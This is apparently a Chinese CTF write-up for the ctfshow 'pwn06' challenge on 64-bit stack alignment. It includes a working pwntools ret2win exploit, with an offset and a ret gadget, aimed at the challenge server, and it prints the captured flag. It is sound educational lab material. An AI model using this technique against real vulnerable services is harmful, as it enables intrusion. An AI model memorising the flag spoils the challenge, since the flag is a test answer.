pwn06(关于64位程序堆栈平衡的处理)

简介: pwn06(关于64位程序堆栈平衡的处理)

堆栈平衡:

当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

简单检查一下,发现是64位程序

同样放进IDA反编译main函数,得到伪代码

只有一个welcome函数,双击跟进

存在栈溢出

我们开始找需要利用的函数的地址(函数开始的地址)

400577

对于32位程序我们只需要这个地址;

但是对于64位程序,我们还需要找 lev 的地址或者该函数结束即 retn 的地址

40057B 或者 40058E 都可以,构造payload时将该地址放在函数开始地址之前

我们再找距离 (造成栈溢出的函数到栈底的距离)

32位里我们找的ebp,64位里叫rbp

这里是C,十六进制的C也就是12

我们前面说过,距离还需要再加上栈底的字节大小,32位是加4,64位是加8

同样这里主函数没有输出东西,因此不需要调用接收函数

编写exp脚本:

from pwn import *
p =remote("pwn.challenge.ctf.show",28138)
payload = b"a" * (0xC+8)+ p64(0x40058E) + p64(0x400577) 
p.send(payload)
p.interactive()

#使用40057B也是可以的,前面也可以将结果加出来,C就是12,12+8=20,换成16进制就是0x14

使用python运行脚本

执行命令拿到flag

ctfshow{91ec74ab-3b94-4848-8495-2889971c5a1b}

目录
相关文章
|
存储 NoSQL 前端开发
【CSAPP】程序的机器级表示:基础知识
【CSAPP】程序的机器级表示:基础知识
128 0
|
6月前
|
Linux 编译器 程序员
【Linux 调试秘籍】深入探索 C++:运行时获取堆栈信息和源代码行数的终极指南
【Linux 调试秘籍】深入探索 C++:运行时获取堆栈信息和源代码行数的终极指南
613 0
|
6月前
|
存储 算法
[数据启示录 02] 堆栈
[数据启示录 02] 堆栈
40 0
|
6月前
|
开发框架 Java .NET
救命!C程序运行原理的秘密居然被我发现了
救命!C程序运行原理的秘密居然被我发现了
39 0
|
11月前
|
NoSQL Shell Python
pwn05(应对简单栈溢出的常规套路)
pwn05(应对简单栈溢出的常规套路)
80 1
|
6月前
|
缓存 Linux C语言
《Linux从练气到飞升》No.18 进程终止
《Linux从练气到飞升》No.18 进程终止
48 0
|
存储 资源调度 算法
【操作系统--页面置换算法】C语言详解--大作业版(附代码)
该实验为作者OS课程大作业,内容若有问题,望指出,多多交流
444 0
|
Linux C语言
学习系统编程No.7【进程替换】
学习系统编程No.7【进程替换】
|
JSON NoSQL Redis
逆转时间,起死回生——程序报错崩溃后,如何倒回到崩溃的位置?
逆转时间,起死回生——程序报错崩溃后,如何倒回到崩溃的位置?
102 0
|
Java API 数据库
【编译原理+句柄+入栈顺序从右至左+系统调用+win api+程序安排+acm ieee usenix信息】答疑
【编译原理+句柄+入栈顺序从右至左+系统调用+win api+程序安排+acm ieee usenix信息】答疑
107 0
【编译原理+句柄+入栈顺序从右至左+系统调用+win api+程序安排+acm ieee usenix信息】答疑